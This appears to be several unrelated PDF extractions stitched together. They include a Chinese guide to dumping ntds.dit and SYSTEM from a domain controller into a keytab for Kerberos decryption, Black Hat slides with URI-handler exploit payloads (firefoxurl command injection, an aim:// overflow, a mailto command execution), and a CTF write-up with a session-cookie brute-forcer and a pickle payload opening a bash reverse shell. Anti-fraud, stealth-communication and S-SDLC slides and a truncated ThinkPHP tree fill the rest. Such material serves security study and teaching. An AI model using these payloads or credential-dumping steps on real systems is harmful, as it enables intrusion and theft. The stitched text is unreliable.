通过将keytab导入wireshark中实现对 Kerberos协议加密部分进行直接解包 本文主要记录了如何通过一些列操作,将生成的keytab导入wireshark,实现可以在wireshark中直 接对Kerberos协议加密部分进行解密的一个过程,避免大家踩坑。 keytab是可以理解为一个密钥表,是key table的缩写,用途类似于用户的密码,keytab中包含一个 或多个条目,每个条目包含一个条目创建时的时间戳,主体名,密钥版本号,加密类型以及密钥本身。 具体关于keytab的信息可以上MIT的Kerberos实现网站上具体查看,这里只大概介绍。 具体操作过程如下: 1.在域控中复制出一份ntds.dit文件,这里用卷影复制的方法,复制的时候要和自己的卷影副本卷名对 应。 2.复制system.hive文件。 vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\ntds.dit 1 2 复制完成后删除之前创建的卷影副本。 3.整一个esedbexport程序,下载地址https://github.com/libyal/libesedb,可以在各种平台编译,我这 里在Ubuntu机器上编译,不容易出错,Windows编译太麻烦了。 如果都比较顺利的话,可以在/usr/local/bin下找到esedbexport命令。 这里做一下知识扩展。 这里我们要先了解的是,ntds.dit文件是一种ESE数据库文件,而ESE即Extensible Storage Engine ,可扩展存储引擎,是微软提出的一种数据存储技术,文件后缀是.edb,Windows内使用ESE存 储的有Microsoft Exchange Server,Active Directory,Windows Search,Windows Update,Help and Support Center。这里的esedbexport可以理解为将ntds.dit文件内的表进行了一个导出。如果想 直接查看ESE数据库文件,可以使用ESEDatabaseVies,使用ESEDatabaseVies也可以进行一个导出。 4.将复制出来的ntds.dit以及system.hive复制到Linux中,我这里复制到了/usr/local/bin下,并执行命 令,可以将ntds.dit导出成多个文件,文件会存放在当前目录的ntds.dit.export目录内。 reg save hklm\system system.hive 或者 copy \\? \GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\system.hiv 1 2 3 vssadmin delete shadow /all 1 wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb- experimental-20210424.tar.gz tar -xzvf libesedb-experimental-20210424.tar.gz cd libesedb-20210424/ sudo apt-get install autoconf automake autopoint libtool pkg-config #安装依赖包 ./configure make make install sudo ldconfig 1 2 3 4 5 6 7 8 9 esedbexport ntds.dit 1 5.使用NTDSXtract导出需要的keytab。 执行后即可生成1.keytab文件。 git clone https://github.com/csababarta/ntdsxtract.git cd ntdsxtract/ python dskeytab.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 ../system.hive /usr/local/bin/ntdsxtract/ 1.keytab #datatable以及link_table都是esedbexport处理过ntds.dit之后存在ntds.dit.export中的文 件 #system.hive 是之前导出的文件 #/usr/local/bin/ntdsxtract/ 是当前ntdsxtract目录 #1.keytab是最后我们需要的keytab文件 1 2 3 4 5 6 7 6.生成完成后,我们可以使用ktutil查看当前keytab内的信息。想要使用ktutil命令,需要安装Kerberos 客户端,我这里安装的是heimdal-clients,命令执行完,即可看到当前keytab中包含的信息。 可以看到所有账户的信息都已经包含了,因为是从域控导出的文件,不仅是krbtgt,所有所有在域 控中注册的服务,用户,主机,都列了出来,包括我加入域内的一台Linux主机,也就是说在后面我们可 以使用wireshark同时解开Kerberos协议中的TGT票据,ST票据以及用户hash加密部分,而不用去再单 独生成每一个要解密的keytab了,就很nice。 sudo apt-get install heimdal-clients ktutil -k 1.keytab list #-k命令制定要keytab 1 2 3 7.最后,打开我们装有wireshark的主机,打开"编辑"——"首选项",选择"Protocols",找到KRB5,勾 选"Try to decrypt Kerberos blobs",并在下面导入我们刚才生成的1.keytab,就可以对Kerberos数据 包进行解密了。 加载完keytab文件后,wireshark会自动对当前的数据包进行解密尝试,如果解密成功,就会是显 示蓝色,不成功就是黄色。 这里再简单说一下Kerberos部分可以使用keytab解密的原理,Kerberos中的加密部分是使用的 hash,是将"密码明文+盐+密钥版本号"通过一个单向的string-to-key函数来获得的,密码存储在KDC 中,盐一般是域名和用户名的组合,密钥版本号即kvno,这些信息都包含在了这个keytab中。在as-req 过程中,加密部分是使用client用户密钥生成的hash加密的,as-rep过程中,TGT票据部分是使用的 krbtgt的密钥hash进行的加密,而剩下的一部分加密是使用client用户密钥进行的加密,随后的tgs-rep 中的ST票据的加密部分,是使用的服务对应密钥的hash进行的加密,所以当wireshark内导入了keytab 后,就可以通过固定算法对相应的部分进行解密。 通过观察图中其实也可以看到,wireshark对于每一个被解密的部分都进行了说明,是使用keytab 中的哪个主体进行解密的。比如下图的as-req中的加密时间戳部分,就很清楚的说明了是使用了keytab 中user1的信息进行了解密,这里user1是我注册的一个域用户。 as-req中的用于身份预认证的加密时间戳,解密后的样子。 as-rep中的TGT加密部分解密后的样子,这里的key中的keyvalue就是TGS服务器生成的 session key。解密使用的krbtgt。 如果包含PAC,甚至可以看到PAC中的数据。 tgs-req流程中Authenticator的解密。 域内Linux主机登录时的最后两个数据,用GSS-API进行传输的。 能直接在wireshark中解开Kerberos协议,对于我们进一步详细学习Kerberos协议的认证过程是有 着非常大的帮助,结合rfc就可以非常深入且清晰的了解到协议的整个认证过程,最后wireshark, yyds。
pdf
营销活动和反作弊 01 业务概述 • 业务形式 裂变/签到/抽奖/走路等 • 风险类型 黑产/自然人/众包等 三方“博弈” 业务概述 反作弊和业务 • 营销反作弊是信任品 • 业务需求第一,事前明确边界 • 我的地盘我做主,重视规则设计 • 知己知彼,不过度承诺 业务概述 • 黑产很精明 收益率高,钞票多多 • 黑产很聪明 对抗是什么,本质是反馈系统 如何干扰攻击者的反馈系统? 查杀分离 延迟/混淆处置 攻击者如何干扰我们的反馈系统? 模拟行为,以假乱真? 降低攻击量,浑水摸鱼,积小成多? 反馈系统 黑产分工 反作弊和黑产 业务概述 营销反作弊框架 裂变反作弊实战 02 裂变反作弊 作弊模式演变(黄色为spammer) 风险评估与方案设计 快手极速版裂变拉新 裂变反作弊 木桶原理 常用方法 如何感知 裂变反作弊 行为模型 优化 独立异常检测 如何感知 裂变反作弊 威胁情报 效果“反馈” 如何验证 大型活动实战经验 03 大型活动 对接流程 质效建设举 例 经验总结 提问环节 提问环节
pdf
Biting the Hand that Feeds You Storing and Serving Malicious Content from Popular Web Servers Billy K Rios (BK) and Nate McFeters Agenda Domain Names and Trust • Who do you Trust? • Biting the Hand - Yahoo • Biting the Hand - Gmail • Flash Based Attacks • URI Use and Abuse • Questions / Conclusions Who do you Trust? Domain Names and Trust • Browser Restrictions • SSL Certificates • Phishing Filters • Human Trust Cross Site Request Forgery Classic Example of CSRF • The attacker (Billy) decides to transfer $1 to his friends (Nate) checking account using www.BigCreditUnion.com. GET /transfer.do?toacct=NATE&amount=1 HTTP/1.1 … … … … Cookie: MYCOOKIE=AWSWADJ1LE3UQHJ3AJUAJ5Q5U Host: www.BigCreditUnion.com Cross Site Request Forgery CSRF Classic Example • The web application does a great job of tying the users’ session to the appropriate account and subtracts the $1 from Billy’s account and adds $1 to Nate’s account. <img src= "http://BigCreditUnion.com /transfer.do?toacct=BILLY&amount=10000" width="1" height="1" border="0"> Cross Site Request Forgery Classic CSRF with a Twist • Forcing the user’s browser to establish an authenticated session with the target server. Nasty JavaScript CODE Cross Site Request Forgery Classic CSRF with a Twist DEMO Web Mail Web Mail Features • Storage Space • Anonymity • Speed • Trust Biting the Hand That Feeds You Yahoo • Yahoo Sign up Process • Yahoo Protection Measures • Storing Content on Yahoo • Serving Content on Yahoo Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Yahoo DEMO Biting the Hand That Feeds You Gmail • Gmail Sign up Process • Gmail Protection Measures • Storing Content on Gmail • Serving Content on Gmail Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Biting the Hand That Feeds You Gmail DEMO Other Avenues of Abuse Let me count the ways…. • Malware? • Warez? • File Sharing? • Covert Channels? • Full Blown File Sharing Applications?!? Biting the Hand That Feeds You Flash • Flash Crossdomain Restrictions • Crossdomain.xml • loadPolicyFile() Biting the Hand That Feeds You Crossdomain.xml Biting the Hand That Feeds You loadPolicyFile() System.security.loadPolicyFile() The policy file allows administrators with write access to a portion of a website to grant an application read access to that portion… By default, this file is located in the root directory of the target server. … This API was introduced in Flash Player 7 (7.0.19.0) to allow the website to specify a nondefault location for the policy file. This mechanism is used by the Flash application to indicate to Flash Player where to look for a policy file … Biting the Hand That Feeds You Biting the Hand That Feeds You http://mail.google.com/mail? - serves the file as well!?! Defenses Slowing and Stopping These Attacks • Switching Domains (correctly!) • CSRF Protections for File Download • CSRF Protection for Web based Authentication • Avoid Pwnership • Rethinking WEBMAIL! URI Use and Abuse?? Registered URI Handler Abuse • What is all this URI Use and Abuse stuff? • What’s registered on my machine? • What’s vulnerable (so far…)? • Who’s fault is it?? What is all this URI Use and Abuse stuff? URIs • Are registered on your machine by any developer who so chooses. We know the common ones http://, ftp://, etc., what else is there? How bout aim://, firefoxurl://, picasa://, etc.? • URIs are attached to back-end applications thru the Window Registry and are typically run as shell commands. • Registered URIs can be accessed thru XSS exposures, and thus XSS exposures can interact with commands passed to your operating system • HOLY SHIT. What’s Registered on MY Machine? DUH (Dump URL Handlers) Tool • Shouts to Erik Cabetas for the help on this tool. • Discovered that URIs are registered and attached to programs in the windows registry. DUH enumerates those. What’s Vulnerable (So Far…)? Cross-Browser Scripting • IE Pwns Firefox and NN 9 thru the “firefoxurl” and “navigatorurl” handlers • IE or Firefox/NN 9 (depends on which side of the political struggle you’re on) do not properly sanitize double quotes passed during the call to the firefox.exe/navigator.exe, so it is possible to inject another command line argument • Injecting the “-chrome” argument allows us to run arbitrary commands What’s Vulnerable (So Far…)? Cross-Browser Scripting firefoxurl:test"%20- chrome%20"javascript:C=Components.classes;I=Components.i nterfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.n sILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+St ring.fromCharCode(92)+'Windows'+String.fromCharCode(92)+ String.fromCharCode(92)+'System32'+String.fromCharCode(92 )+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.o rg/process/util;1'].createInstance(I.nsIProcess);process.init(fil e);process.run(true%252c{}%252c0);alert(process) What’s Vulnerable (So Far…)? Cross-Application Scripting • IE Pwns Trillian thru the “aim” url handler • Stack Overlflow: aim://#1111111/1111…1 • Command Injection allows arbitrary content to be written to arbitrary location thru “ini” parameter. Cross-Application Scripting Demo – Stack Overflow aim:///#1111111/11111111111111111111111111111111111 11111111111111111111111111222222222222222222222222 22222222222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222 2222222226666666AAAABBBB66666666666666666666666666 66666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666 666666666666666666 Screenshot 3: Control of Pointer to next SEH record and SE handler Cross-Application Scripting Demo 2 – Command Injection Screenshot 3: Control of Pointer to next SEH record and SE handler aim: &c:\windows\system32\calc.exe" ini= "C:\Documents and Settings\All Users\Start Menu\Programs \Startup\pwnd.bat" What’s Vulnerable (So Far…)? Remote Command Execution in FF, NN 9, Mozilla and other Gecko-based browsers • “The behavior seems to be that if there's a %00 in the URL for these schemes then the URL Protocol handler is not called, instead the FileType handler is called based on the extension of the full url.” – From Mozilla Security Blog • WHATEVA - DEMO Remote Command Exec. Demo mailto:%00%00../../../../../windows/system32/cmd".exe ../../../../../windows/system32/calc.exe " - " blah.bat Who’s Fault Is It? Blame Game • Feels like there should be first, second, and third degree felonies for this depending on who you are. • Rios and I stand by that all are at fault, the browsers for not sanitizing the data and the application developers who registered the URIs in the first place. What’s Next? Functionality Attacks • irc://, picasa://, xmpp://, etc. • *Nix? Questions? Any Questions? Catch us at xs- sniper.com.
pdf
Widdershins: The Hacker Nation Simple Nomad DefCon X - 2002 About Me/This Talk NMRC BindView Skills Needed NMRC BindView Skills Needed NMRC BindView Skills Needed The Year In Review DMCA muscle is flexed. Terrorism. Legislation clarifies various portions of previous laws. More knee-jerk legislation on the way. The Problem: Packeteering Satan's Network (Programming Satan's Computer - Ross Anderson and Roger Needham 1995) What Can Satan Sniff? During the question and answer session, an interesting discussion ensued. Here is a quote from conference attendee Viktor Mayer-Schoenberger: "Both presenters explicitly acknowledged that a number of anonymous remailers in the US are run by government agencies scanning traffic. Marlow said that the government runs at least a dozen remailers and that the most popular remailers in France and Germany are run by the respective government agencies in these countries. In addition they mentioned that the NSA has successfully developed systems to break encrypted messages below 1000 bit of key length and strongly suggested to use at least 1024 bit keys. They said that they themselves use 1024 bit keys." "Anonymous Re-mailers as Risk-Free International Infoterrorists" presented by Paul Strassmann, National Defense University and William Marlow, Science Applications International Corporation. Presented at the "Information, National Policies, and International Infrastructure" conference at Harvard Law School, Cambridge, Massachusetts, January 30, 1996. http://www.strassmann.com/pubs/anon-remail.html http://ksgwww.harvard.edu/iip/GIIconf/gii2age.html http://catless.ncl.ac.uk/Risks/17.87.html#subj6 What Can Satan Sniff? "Disclosing the method of attacking PGP would involve disclosing classified cryptographic analysis methods (I was taught by the government), and such a disclosure to uncleared persons would be seriously illegal (in wartime such a disclosure carries the death penalty). Seriously though, I would love to lay out the holes in several crypto systems, and would love to disclose the methods for breaking PGP, DES, and a number of other civilian crypto system I have studied (in multiple NSA crypto schools); but will not disclose information and/or methods I know to be classified." and "The fact that various world governments can perform a PGP decrypt is old news, and not classified, however; the exact method used for the decrypt is what is classified." From private email with a former spook: What Can Satan Sniff? Other informal sources Types of Monitoring Invasive, Non-invasive, Stealth Types of Monitoring Non-invasive - Monitoring nodes are obvious. Little to no traffic impact. Usually easy to avoid. Types of Monitoring Stealth - Monitoring nodes are not obvious. No traffic impact. Hard to avoid. Types of Communication Point to Point (e.g. Email) Broadcast (e.g. USENET) Types of Communication Anonymous Sender (e.g. Remailer) Traffic Pattern Masking (e.g. Loki) To Avoid Stealth Monitoring, Stealth Communications Are Needed Stealth Communications - Sender/receiver unknown. Message encrypted. Communication not obvious, difficult to discern from regular traffic. Digital Drop Box Scenario #1 Stealth Digital Drop Box using Holepunch Steganography Scenario #2 Steganography using Outguess and Porn Stealth Traffic Pattern Masking Scenario #3 Stealth Traffic Pattern Masking using Masquerade Dining Cryptographers Problem Basics behind a DC Net Scaling issues solved with CliqueNet Scenario #4 Anonymous Point-to-Point Communications Using CliqueNet Fin Questions? All questions must be in the form of an answer Graphics from DeadDreamer.Com
pdf
WP use https://github.com/noraj/flask-session-cookie-manager import os import string a=string.digits+string.ascii_letters for i in range(0,len(a)): name='python3 ense.py encode -s "KEY_SECRET_PWN_HUB" -t " {\'username\':\'Ne'+a[i]+'\'}"' os.system(name) output: eyJ1c2VybmFtZSI6Ik5lMCJ9.XbpKQQ.Eq9AjAwo7K2lmbRR1k7lwI5P15M eyJ1c2VybmFtZSI6Ik5lMSJ9.XbpKQQ.v2MQV4MWcvLmS9a6KOU7Qqcu8tc eyJ1c2VybmFtZSI6Ik5lMiJ9.XbpKQg.ugDoLOgtrjN24xcrefEfksNEV18 eyJ1c2VybmFtZSI6Ik5lMyJ9.XbpKQg.kvjDJQH-QXU5fCpdnA-r4QWdjUc eyJ1c2VybmFtZSI6Ik5lNCJ9.XbpKQg.gvzw-_vChiXWNEIBVB4cj3q3MTs eyJ1c2VybmFtZSI6Ik5lNSJ9.XbpKQg.SBs7I0wnU_XBSQ2ILrQHXin82p8 eyJ1c2VybmFtZSI6Ik5lNiJ9.XbpKQg.zKGDGIQI_dHGnH2qWmc_QuFs0WM eyJ1c2VybmFtZSI6Ik5lNyJ9.XbpKQg.aInS9Xr8Kc-AS4xF4F0htW30PT4 eyJ1c2VybmFtZSI6Ik5lOCJ9.XbpKQg.-pooPMNGrZ7vAhhufBhGNyPgibY eyJ1c2VybmFtZSI6Ik5lOSJ9.XbpKQw.rZZxXjTRWpzp90iFnjcAKETrtoQ eyJ1c2VybmFtZSI6Ik5lYSJ9.XbpKQw.6eUoM_4YXhQtw2PzAlZxni5M68A eyJ1c2VybmFtZSI6Ik5lYiJ9.XbpKQw.JvWxxkh35EeY_RUWE8t4TFJU3P0 eyJ1c2VybmFtZSI6Ik5lYyJ9.XbpKQw.ZrGxmxmoLq9yMeB2yRh9N4A15H4 eyJ1c2VybmFtZSI6Ik5lZCJ9.XbpKQw.8i-SyjOaCHhcLvne-RifMJysQhM eyJ1c2VybmFtZSI6Ik5lZSJ9.XbpKQw.YrDJMdeZNdC5qg5WlnjDRjxIsj4 eyJ1c2VybmFtZSI6Ik5lZiJ9.XbpKQw.9gXKtKQBSFIGj4pC47__QH02iu4 eyJ1c2VybmFtZSI6Ik5lZyJ9.XbpKQw.j-7bWauGJoAU__Ur5K_uF8eaYaQ eyJ1c2VybmFtZSI6Ik5laCJ9.XbpKRA.HdUtVoGi8HegbqfbtVRsx8IHlO4 eyJ1c2VybmFtZSI6Ik5laSJ9.XbpKRA.mdvIB58YOEAFuuXDI0zuNXmTdmg eyJ1c2VybmFtZSI6Ik5laiJ9.XbpKRA.qTWMfGnALkH0vTtuCUbcZsFst3M eyJ1c2VybmFtZSI6Ik5layJ9.XbpKRA.Qf0wHpTkrXS9tw66H2xXthvlfcE eyJ1c2VybmFtZSI6Ik5lbCJ9.XbpKRA.cj_QWrXXGCDbDBmFmTIMBxOCUoo eyJ1c2VybmFtZSI6Ik5lbSJ9.XbpKRA.Vy3c6UNnpOvCOn30w72Qlo9CRJk eyJ1c2VybmFtZSI6Ik5lbiJ9.XbpKRA.YWXfeC20MlaUqVeVH-zlOGWh5RI eyJ1c2VybmFtZSI6Ik5lbyJ9.XbpKRA.gF03xQvJaP13Dr1gJs0hTz31GFs eyJ1c2VybmFtZSI6Ik5lcCJ9.XbpKRQ.yoQcrmWcma0XfA8cV0iDWjUTkbI eyJ1c2VybmFtZSI6Ik5lcSJ9.XbpKRQ.cLK4OL4twnjJC2v3LhStkxxEuok eyJ1c2VybmFtZSI6Ik5lciJ9.XbpKRQ.YankS3Do809DFBON7giqO27fHOE eyJ1c2VybmFtZSI6Ik5lcyJ9.XbpKRQ.qeP6kMVzYUBlJAVE8OgYO6x4hvo eyJ1c2VybmFtZSI6Ik5ldCJ9.XbpKRQ.4-lmuHFBsOfzu0sFFFcG6PsEJjE eyJ1c2VybmFtZSI6Ik5ldSJ9.XbpKRQ.p0KRmVtOg64v2j2k22kUn2dS90A eyJ1c2VybmFtZSI6Ik5ldiJ9.XbpKRQ.0zhMYR6uKW_KXEuWO6BQepoGFxQ eyJ1c2VybmFtZSI6Ik5ldyJ9.XbpKRQ.LfzG0-LPlU9xUeOwZKZZZe37wdw output: eyJ1c2VybmFtZSI6Ik5lbyJ9.XbpKRA.gF03xQvJaP13Dr1gJs0hTz31GFs CVE-2019-6446 eyJ1c2VybmFtZSI6Ik5leCJ9.XbpKRg.v86A6rhKKSOmZr7p7fDxzbjnX0Y eyJ1c2VybmFtZSI6Ik5leSJ9.XbpKRg.NGmi-1PbcVgah9JWxiIBMGAXN4c eyJ1c2VybmFtZSI6Ik5leiJ9.XbpKRg.CzSZAFoTD6ac7TtSW4J6L7gEqDg eyJ1c2VybmFtZSI6Ik5lQSJ9.XbpKRg.Wo014f5T_OP2cbe-0kbfVlpOoq0 eyJ1c2VybmFtZSI6Ik5lQiJ9.XbpKRg._3leM2_1iTQWgSfRI-etpxWKTa4 eyJ1c2VybmFtZSI6Ik5lQyJ9.XbpKRg.R3i6NhEpRNa-4ZDdOXvc5RctZ5o eyJ1c2VybmFtZSI6Ik5lRCJ9.XbpKRg.94p_wTSDrW5WsYf99uapMz91Z7Y eyJ1c2VybmFtZSI6Ik5lRSJ9.XbpKRw.oI_8gUxGBAgcnIJPjRs2eNHEcn4 eyJ1c2VybmFtZSI6Ik5lRiJ9.XbpKRw.pgPNiCUxT_NqowpevUfkwM2DcH0 eyJ1c2VybmFtZSI6Ik5lRyJ9.XbpKRw.pTcEExh4bVDHf_LVs8sz4Utz8DQ eyJ1c2VybmFtZSI6Ik5lSCJ9.XbpKRw.mSt6cs92JrVPf1AbJ2DJB7hdNp0 eyJ1c2VybmFtZSI6Ik5lSSJ9.XbpKRw.CXKoQ0d7DrmRy3HFrcW562WwUWA eyJ1c2VybmFtZSI6Ik5lSiJ9.XbpKRw.mrN1TuFj-VZiph9T2oBonCNGFO8 eyJ1c2VybmFtZSI6Ik5lSyJ9.XbpKRw.70gFKX2oUu23HTftQ3k7_WISeZs eyJ1c2VybmFtZSI6Ik5lTCJ9.XbpKRw.847wmKsYJMvvxNMaWP27acYB9G0 eyJ1c2VybmFtZSI6Ik5lTSJ9.XbpKSA.KsQnPQ46rEfbsbPAnRL0EWT4G14 eyJ1c2VybmFtZSI6Ik5lTiJ9.XbpKSA.XfJT6qaiSf-6JoCrSfqYx6G7z-M eyJ1c2VybmFtZSI6Ik5lTyJ9.XbpKSA.zLyPBjgqmEveUEAB4wKvGzglW0k eyJ1c2VybmFtZSI6Ik5lUCJ9.XbpKSA.TsknaVVmM0kGat4a26pq6z-gLu0 eyJ1c2VybmFtZSI6Ik5lUSJ9.XbpKSA.bfzxTAhSqOJmSn_eB8Rht8WV7YE eyJ1c2VybmFtZSI6Ik5lUiJ9.XbpKSA.qhtw3MCg4OHCXfNGul7FbsuWM8o eyJ1c2VybmFtZSI6Ik5lUyJ9.XbpKSA.q-FrLL8Pzkmipcu7YCnif3hUeEw eyJ1c2VybmFtZSI6Ik5lVCJ9.XbpKSA.zU4OsnkosaZJNbMsUACsYbH6DAU eyJ1c2VybmFtZSI6Ik5lVSJ9.XbpKSQ.w082CcIQ2McvosMHAkCiNxxU3sA eyJ1c2VybmFtZSI6Ik5lViJ9.XbpKSQ.YeJ10ivwEoo-RQ-R4eIEc4AwkA8 eyJ1c2VybmFtZSI6Ik5lVyJ9.XbpKSQ.7g3qvcIAkR61BkdBq5fUyGykwdM eyJ1c2VybmFtZSI6Ik5lWCJ9.XbpKSQ.Do0pYgLa6tuXvAmJ9ab46j-LxzQ eyJ1c2VybmFtZSI6Ik5lWSJ9.XbpKSQ.KgKtDovfK8fI1LzsxRqYhYDiojs eyJ1c2VybmFtZSI6Ik5lWiJ9.XbpKSQ._nmx32OCP3h-uWyLlxWCMmlAb5o import requests url="http://139.217.84.224/findRedeemer/" with open('session','r') as f: for line in f.readlines(): line=line.strip('\n') scookie={ 'session':line } a=requests.get(url,cookies=scookie) if "true" in a.text: print a.text+':'+line from numpy.lib import npyio import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/ip/9000 0>&1',)) if __name__ == '__main__': tmpdaa = Test() npyio.save("xxx",tmpdaa) npyio.load("xxx.npy")
pdf
安全软件开发生命周期(S SDLC) 安全软件开发生命周期(S-SDLC) 与业务安全 与业务安全 自我介绍&培训 高级讲师 包悦忠 • CWASP高级讲师:包悦忠 • 专场培训 1) 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8 1) 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8 2) 高级会员免费参与 软件安全保障 (软件安全 • Software Security Assurance (软件安全 保障) is the process (流程) of ensuring that  ) p ( ) g software is designed (设计) to operate at a  level of security that is consistent with the level of security that is consistent with the  potential harm that could result from the loss,  inaccuracy, alteration, unavailability, or misuse of  y, , y, the data and resources (数据和资源) that  it uses, controls, and protects. it uses, controls, and protects. ‐摘自英文Wikipedia网站 软件安全保障 流程 软件安全保障 安全软件开发生命周期 (S‐SDLC) ——关键要素 关键要素 需求 设计 开发 测试 部署和 运维 运维 风险评估 ‐ 威胁建模 设计审核 ‐ 安全开发 ‐ 安全测试 ‐ 安全加固 ‐ 补丁管理 ‐ 风险评估 ‐ 设计审核 ‐ 攻击面分析 ‐ 代码审核 ‐ 渗透测试 ‐ 漏洞管理 ‐ 安全事件响应 ‐ 风险评估模板 ‐ 威胁库 ‐ 设计审核模板 ‐ 公共安全组件 ‐ 静态分析工具 ‐ 动态分析工具 ‐ 第三方渗透测 试 ‐ 安全基线 ‐ 扫描、监控、 管理工具 培训 政策 组织能力 培训、政策、组织能力 安全软件开发生命周期 (S‐SDLC) ——流程与敏捷开发 流程与敏捷开发 • 环境初始 化 • 威胁建模 • 安全开发 • 持续集成 • 代码审核 • 更新设计 设计 开发 自动化部 持续测试 测试 部署 • 自动化部 署 • 安全运维 • 持续测试 • 渗透测试 软件安全保障 ——业界最佳实践 业界最佳实践 流程体系 持续改进 • 流程体系、持续改进 – 固化→实施→评估→改进→再固化 固化→实施→评估→改进→再固化 • 设计安全 培训 意识和能力 • 培训、意识和能力 • 管理层实际的、可见的支持 管理层实际的、可见的支持 软件安全保障 ——流程成熟度模型 • Software Assurance Maturity Model (SAMM) 软件安全保障 ——流程成熟度模型 • Microsoft SDL Optimization Model 软件安全保障 设计暨业务安全 软件安全保障 设计 务 威胁分析目的 威胁 安全 安全 安全 安全 威胁 分析 安全 设计 安全 开发 安全 测试 安全 部署 分析 设计 开发 测试 部署 数据流图 帐号 帐号、 用户标识 帐号 邮件 代理服务 移动 客户端 第三方 邮件服务 用户标识 用户标识 邮件 帐号 邮件 邮件 用户标识 邮件 威胁模型 S.T.R.I.D.E. 仿冒 篡改 抵赖 信息泄露 拒绝服务 权限提升 数据流图 元素 仿冒 (Spoofi ng) 篡改 (Tampe ring) 抵赖 (Repudi ation) 信息泄露 (Informa tion Disclosur 拒绝服务 (Denial of Service) 权限提升 (Elevatio nof Privilege) Disclosur e) Service) Privilege) 外部交互方 √ √ 处理过程 √ √ √ √ √ √ 数据存储 √ √ √ √ 数据流 数据流 √ √ √ 威胁分析 帐号 I 帐号、 用户标识 帐号 I I S S R 邮件 代理服务 移动 客户端 第三方 邮件服务 用户标识 用户标识 邮件 帐号 邮件 I D E I T S R 邮件 I 用户标识 邮件 I I 消减措施 ——方法、技术手段 S 消减措施 方法 技术手段 S.T.R.I.D.E. 消减措施 方法、技术手段 仿冒(Spoofing) 身份验证 (Authentication) 用户名/密码、Cookie、数字签 名、挑战‐应答、自定义 篡改(Tampering) 完整性(Integrity) 访问控制、数字签名 抵赖(Repudiation) 防抵赖(Non Repudiation) 日志审计、数字签名 Repudiation) 信息泄露(Information Disclosure) 保密性 (Confidentiality) 加密、访问控制 拒绝服务(Denialof Service) 可用性 (Availability) 访问控制、过滤、配额 权限提升(Elevation of 授权 访问控制、输入验证 权限提升(Elevationof Privilege) 授权 (Authorization) 访问控制、输入验证 威胁库示例 ——仿冒外部交互方或处理过程 缺乏身份验证 绕过身份验证 客户端、服务器端 绕过身份验证 客户端、服务器端 参数操纵攻击 身份验证漏洞 用户名/密码 没有实施密码策略 密码重置安全绕过漏洞 密码重置安全绕过漏洞 Cookie Cookie值具有可预料性 Cookie重放攻击 用户退出登录后C ki 不失效 用户退出登录后Cookie不失效 PaddingOracle攻击 数字签名、证书 证书验证相关问题 挑战‐应答 反射攻击 自定义 服务生成的用户标识具有可预料性 … … … 风险分析 帐号 I 帐号、 用户标识 帐号 I I S S R 邮件 代理服务 移动 客户端 第三方 邮件服务 用户标识 用户标识 邮件 帐号 邮件 I D E I T S R 邮件 I 用户标识 邮件 I I 威胁分析输出 设计 (H) 客户端和代理服务间讯息加密 开发 (H) 生成用户标识的随机性 (H) 客户端应用对代理服务的认证 (H) 用户帐户信息删除 (M) 用户标识客户端存储加密 (H) 用户标识客户端存储安全性 (H) 防止SQL注入 … ( ) 户标 客户端存储 (M) 代理服务和第三方服务间讯息加 密 (M) 代理服务对第三方服务的认证 ( ) 代 服务对第 方服务的认 … 部署 服务器安全加固 数据库安全加固 测试 客户端和代理服务间讯息加密 客户端应用对代理服务的认证 数据库安全加固 … 客户端应用对代理服务的认证 生成用户标识的随机性检查 用户标识存储在应用隔离储存区 SQL注入攻击测试 目录遍历和强制浏览攻击测试 目录遍历和强制浏览攻击测试 … 总结 1. 软件安全是软件质量的一个重要维度 2 安全活动是软件开发活动的一部分,而不 2. 安全活动是软件开发活动的 部分,而不 是被随后添加或“bolted on” 软件安全漏洞 缺陷( ) 3. 软件安全漏洞==缺陷(bug) 4. 尽可能早的执行安全活动,尽早发现安全 4. 尽可能早的执行安全活动,尽早发现安全 缺陷,降低安全漏洞的修复成本 5 软件安全保障的方法既适用于内部软件开 5. 软件安全保障的方法既适用于内部软件开 发,也同样适用于第三方软件开发、集成
pdf
先放上一个图示 方便理解 然后放上目录结构 1 ├─application 应用目录(可设置) 2 │ ├─common 公共模块目录(可更改) 3 │ ├─index 模块目录(可更改) 4 │ │ ├─config.php 模块配置文件 5 │ │ ├─common.php 模块函数文件 6 │ │ ├─controller 控制器目录 7 │ │ ├─model 模型目录 8 │ │ ├─view 视图目录 9 │ │ └─ ... 更多类库目录 10 │ ├─command.php 命令行工具配置文件 11 │ ├─common.php 应用公共(函数)文件 12 │ ├─config.php 应用(公共)配置文件 13 │ ├─database.php 数据库配置文件 14 │ ├─tags.php 应用行为扩展定义文件 15 │ └─route.php 路由配置文件 16 ├─extend 扩展类库目录(可定义) 17 ├─public WEB 部署目录(对外访问目录) 18 │ ├─static 静态资源存放目录(css,js,image) 19 │ ├─index.php 应用入口文件 20 │ ├─router.php 快速测试文件 21 │ └─.htaccess 用于 apache 的重写 22 ├─runtime 应用的运行时目录(可写,可设置) 23 ├─vendor 第三方类库目录(Composer) 24 ├─thinkphp 框架系统目录 25 │ ├─lang 语言包目录 26 │ ├─library 框架核心类库目录 27 │ │ ├─think Think 类库包目录 28 │ │ └─traits 系统 Traits 目录 29 │ ├─tpl 系统模板目录 30 │ ├─.htaccess 用于 apache 的重写 31 │ ├─.travis.yml CI 定义文件 32 │ ├─base.php 基础定义文件 33 │ ├─composer.json composer 定义文件 34 │ ├─console.php 控制台入口文件 35 